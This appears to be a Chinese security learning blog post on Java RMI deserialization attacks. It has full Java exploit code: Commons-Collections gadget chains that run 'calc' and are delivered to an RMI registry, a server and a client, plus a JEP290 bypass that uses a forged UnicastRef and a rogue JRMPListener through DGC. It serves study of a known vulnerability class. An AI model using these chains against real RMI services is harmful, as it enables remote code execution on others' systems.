java反序列化(四) RMI反序列化

发布时间 2023-04-16 20:08:03作者: 卡拉梅尔

RMI

RMI(Remote Method Invocation),为远程方法调用,是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。 这两个虚拟机可以是运行在相同计算机上的不同进程中,也可以是运行在网络上的不同计算机中。

1680097572722

注册中心是一个特殊的服务端,一般与服务端在同一主机上

RMI流程

https://www.cnblogs.com/p1a0m1a0/p/17071632.html这篇中很详细的记录了各个流程

简单来说就是在注册中心、服务端、客户端三者交互时信息以序列化对象的形式进行传递。客户端把参数序列化发送,然后服务端反序列化读取接收。接着反过来,服务端把信息序列化发送,客户端反序列化接收,这样就构成了基本的攻击思路。

此外所有客户端的请求都会调用executeCall,其中会调用readObject,也就是JRMP协议。所以从服务端攻击客户端的手法多一种

一个简单的实例

服务端

1681550358596

package org.example;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException {
        UserImpl user = new UserImpl();
        Registry r = LocateRegistry.createRegistry(1099);
        r.bind("user",user);
    }
}
package org.example;

import java.rmi.RemoteException;

public interface User extends java.rmi.Remote {
    public void getUser() throws RemoteException;
    public void addUser(Object user) throws RemoteException;
}
package org.example;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class UserImpl extends UnicastRemoteObject implements  User{
    protected UserImpl() throws RemoteException {
    }

    @Override
    public void getUser() throws RemoteException {
        System.out.println("No user!");
    }
}

客户端

1681550385066

package org.example;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
        User user = (User) registry.lookup("user");
        user.getUser();
    }
}

运行后在服务端显示

1681550593146

直接攻击

攻击注册中心

因为很多时候注册中心与服务端在同一主机,所以这里假设攻击从客户端发出,客户端与服务中心间的交互方式有bind、rebind、unbind、lookup和list

bind&rebind

以bind为例,rebind类似

1681464293158

1681531072001

基本就是沿用cc1,但因为bind函数实际参与反序列化的第二个参数的类型是Remote,所以要想办法将cc1构造的对象转化为Remote

    public static void main(String[] args) throws IOException, NotBoundException, NoSuchFieldException, IllegalAccessException, AlreadyBoundException, ClassNotFoundException, InvocationTargetException, InstantiationException, NoSuchMethodException {

        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"calc"})});
        HashMap innermap = new HashMap();
        Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
        Constructor[] constructors = clazz.getDeclaredConstructors();
        Constructor constructor = constructors[0];
        constructor.setAccessible(true);
        Map map = (Map)constructor.newInstance(innermap,chain);


        Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        handler_constructor.setAccessible(true);
        InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler

        Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象


        Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        AnnotationInvocationHandler_Constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);       

        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
        //强制类型转换,
        Remote r = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[] { Remote.class }, handler));
        registry.bind("test",r);

    }

lookup&unbind

bind和unbind穿的remote类型还可以强制类型转换一下,但lookup中只能传递string类型的对象,不能使用同一办法

1681529977068

但是服务端在反序列化时是不会检测类型的,所以我们可以自己伪造下lookup函数,让它可以传递其他类型

1681530140840

观察下lookup里的newCall发现用到了ref、this(就是注册中心)和operation,所以伪造时还要先获取下这几个参数

//换个cc6    
public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        //目标是触发LazyMap的get()
        HashMap<Object, Object> map =new HashMap();
        Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));//随便放个没用的transformer进去


        //TiedMapEntry的hashCode()方法会简间接调用get()
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");

        //HashMap的readObject()方法会调用hash(),进而调用hashCode()
        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry, "bbb");//但为了赋值我们还需要put一下,而HashMap的put方法会间接触发tiedMapEntry的hashCode(),然后触发整条连
        lazyMap.remove("aaa");//整条链中包括LazyMap的get()方法,为了消除正向序列化时的影响这里remove("aaa")
        //lazyMap.clear();

        //等到put完了再通过反射修改
        Class c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap, chainedTransformer);



        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);

        // 获取ref
        Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
        fields_0[0].setAccessible(true);
        UnicastRef ref = (UnicastRef) fields_0[0].get(registry);

        //获取operations

        Field[] fields_1 = registry.getClass().getDeclaredFields();
        fields_1[0].setAccessible(true);
        Operation[] operations = (Operation[]) fields_1[0].get(registry);

        // 伪造lookup的代码,去伪造传输信息
        RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
        ObjectOutput var3 = var2.getOutputStream();
        var3.writeObject(map2);
        ref.invoke(var2);

其实上面的bind也可以通过伪造bind来传递其他类型的对象,方法类似

攻击服务端

同上,假设从客户端攻击

改写下上面实例中的User类,添加一个参数类型为object的方法

public void addUser(Object user) throws RemoteException;

然后在客户端尝试调用这个方法,参数为构造的恶意类,即可成功攻击

Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
User user = (User) registry.lookup("user");
user.addUser(map2);

原因是客户端把这个参数序列化(marshalValue内的writeObject)传给服务端,服务端接收后反序列化(unmarshalValue)处理触发

1681554956557

攻击客户端

客户端攻击注册中心和服务器的手法只要反过来就可以攻击客户端

注册中心攻击客户端

思路是反向利用之前的bind、lookup等方法,以bind为例,bind在把序列化对象传给注册中心后接着会接受回传的消息,进而触发反序列化

1681567230255

1681567329125

1681567392589

这里偷懒模仿前人用下yeso里的JRMPListener,JRMPListener主要实现了rmi流程中的各种协议,包括各种ack之类的,总之核心目的就是把payload发给连接者

注册中心

1681568937141

客户端

Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
registry.list();//用其他几个也是一样的
//registry.lookup("1");

服务端攻击客户端

想想之前那个简单的实例,在服务端正经实现了getUser方法。如果不正经实现,并且return一个恶意对象,这样客户端接受到时就会触发命令执行

服务端

服务端构造恶意getUser

public interface User extends java.rmi.Remote {
    public Object getUser() throws Exception;
    public void addUser(Object user) throws RemoteException;
}
public Object getUser() throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        //目标是触发LazyMap的get()
        HashMap<Object, Object> map =new HashMap();
        Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));//随便放个没用的transformer进去


        //TiedMapEntry的hashCode()方法会简间接调用get()
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");

        //HashMap的readObject()方法会调用hash(),进而调用hashCode()
        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry, "bbb");//但为了赋值我们还需要put一下,而HashMap的put方法会间接触发tiedMapEntry的hashCode(),然后触发整条连
        lazyMap.remove("aaa");//整条链中包括LazyMap的get()方法,为了消除正向序列化时的影响这里remove("aaa")
        //lazyMap.clear();

        //等到put完了再通过反射修改
        Class c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap, chainedTransformer);

        return map2;
    }
UserImpl user = new UserImpl();
Registry r = LocateRegistry.createRegistry(1099);
r.bind("user",user);

客户端

客户端尝试正常调用getUser方法就会得到恶意对象触发反序列化执行命令

Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
User user = (User) registry.lookup("user");
user.getUser();

值得注意的是客户端和服务端的User接口声明必须一样,否则会报错

高版本绕过

高版本中引入了JEP290,JEP290机制简单来说就是对反序列化的对象设置了白名单,影响的版本包括8u121、7u131 、6u141以及之后的版本,白名单包括

String.class
Remote.class
Proxy.class
UnicastRef.class
RMIClientSocketFactory.class
RMIServerSocketFactory.class
ActivationID.class
UID.class

但过滤都是针对服务端和注册中心的,对针对客户端的攻击没有影响,所以一个思路就是让服务端以客户端的身份发出一个请求,接收我们的恶意对象

关于DGC

具体见这篇https://blog.csdn.net/qq_53264525/article/details/129348793

dgc是rmi的分布式垃圾回收模块,在创建远程对象时会执行这部分代码,dgc的处理流程与服务中心类似,同样有着skeleton和stub,二者的通过客户端的clean和dirty两个方法交流,其中dirty中存在反序列化点

1681646320198

1681437750000

再看skeleton,dispach中的case0和case1分别对应clean和dirty,都存在反序列化点

1681438024220

1681438036076

所以说不管是攻击服务端还是客户端,都可以通过dgc。dgc在低版本中也是可以用来直接攻击的,但这里主要关注在高版本绕过时的应用

绕过

根据前面分析可知当客户端调用dirty方法后会接收来自服务端的序列化对象,然后对其进行反序列化操作

发起dirty

首先我们找到调用dirty的地方,正常的流程是不会触发这段代码的(不然直接就能攻击了),所以目标是人为改变一些参数使得服务端会创建这个dgc,顺着找下去(有的类我下载的源码跟8u65里class反编译出来的不太一样,不过问题不大)

1681644622875

1681644665625

1681644686848

1681644712737

1681644754681

我们发现其实在服务端skel中很多地方都调用了releaseInputStream,也就说是很有希望能创建以DGC并发起一个dirty请求的,比如说在接受到bind时就会调用releaseInputStream

1681616498252

1681616755701

但是断在了这里,没能进入if,因为正常流程上incomingRefTable一直是空的

1681615041941

修改参数

如果我们可以修改incomingRefTable的参数,让服务端正常走入上段代码,就可以通过JRMPListener实现攻击

先看下incomingRefTable,这个HashMap存储了Endpoint信息,用于与另一实体进行通信。如果能把这个通信对象设置成恶意服务端就可以实现攻击

1681635087341寻找incomingRefTable的赋值位置

1681627700244

1681627729460

1681627798306

readExternal的功能类似readObject,也会在反序列化时调用,而Unicastref又恰好在白名单里,所以攻击思路如下

涉及的对象有:客户端、服务端、伪造服务端(JRMPListener)

  • 客户端构造UnicastRef对象,通过bind等方式传递给服务端,服务端读取UnicastRef后给incomingRefTable赋值
  • 服务端反序列化UnicastRef,给incomingRefTable赋值,接着以客户端的身份向incomingRefTable指定的伪造服务端发起dirty请求
  • 伪造服务端接收dirty请求,向服务端发送恶意对象(如cc1),由于在这个过程中服务端的身份是客户端,所以不会触发JEP290的过滤,服务端直接反序列化恶意对象,实现rce

在一个正常的rmi流程中,客户端通过getResgistry得到的注册中心实质上是一个封装了UnicastRef对象的对象,在后续bind等方法时就是通过UnicastRef中储存的信息与注册中心交互。所以当我们把一个包含了恶意服务端信息的UnicastRef传给服务端时,服务端就可以通过这个UnicastRef与恶意服务端交互

客户端

public class RMIClient {
    public static void main(String[] args) throws Exception {
    	Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);//服务端
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint("127.0.0.1", 4399);//恶意服务端
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
                
        //和前面直接攻击伪造lookup一样
        // 获取ref
        Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
        fields_0[0].setAccessible(true);
        UnicastRef ref2 = (UnicastRef) fields_0[0].get(registry);

        //获取operations
        Field[] fields_1 = registry.getClass().getDeclaredFields();
        fields_1[0].setAccessible(true);
        Operation[] operations = (Operation[]) fields_1[0].get(registry);

        // 伪造lookup的代码,去伪造传输信息
        RemoteCall var2 = ref2.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
        ObjectOutput var3 = var2.getOutputStream();
        var3.writeObject(ref);
        ref2.invoke(var2);
    }
}

服务端

public class RMIServer {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException {
        UserImpl user = new UserImpl();
        Registry r = LocateRegistry.createRegistry(1099);
        r.bind("user",user);
    }
}

恶意服务端

1681635255388

总结

直接攻击就是想办法把已学的cc链往rmi的传输结构上套,麻烦的地方还是rmi本身吧

绕过JEP290的地方相当于一个二次反序列化

总之暂且过了一遍rmi,有些地方分析的还是比较乱,以后有机会动态调试再研究研究

参考

https://xz.aliyun.com/t/9053

https://www.cnblogs.com/escape-w/p/16107675.html 更多版本的区别